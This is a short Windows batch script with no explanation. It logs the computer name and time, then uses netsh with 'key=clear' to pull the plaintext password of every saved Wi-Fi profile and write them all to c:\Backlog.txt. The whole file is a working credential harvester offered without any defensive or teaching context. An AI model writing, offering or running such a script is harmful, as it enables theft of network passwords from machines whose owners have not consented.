Mr

@echo off
@echo %ComputerName%>> c:\Backlog.txt %NL% %date% %time% >> c:\Backlog.txt 
echo.>> c:\Backlog.txt 
setlocal enabledelayedexpansion

for /F "tokens=2 delims=:" %%a in ('netsh wlan show profile') do (
    set wifi_pwd=
	for /F "tokens=2 delims=: usebackq" %%F IN (`netsh wlan show profile %%a key^=clear ^| find "Key Content"`) do (
	    set wifi_pwd=%%F
	)
	echo %%a: !wifi_pwd! >> c:\Backlog.txt
)
echo.>> c:\Backlog.txt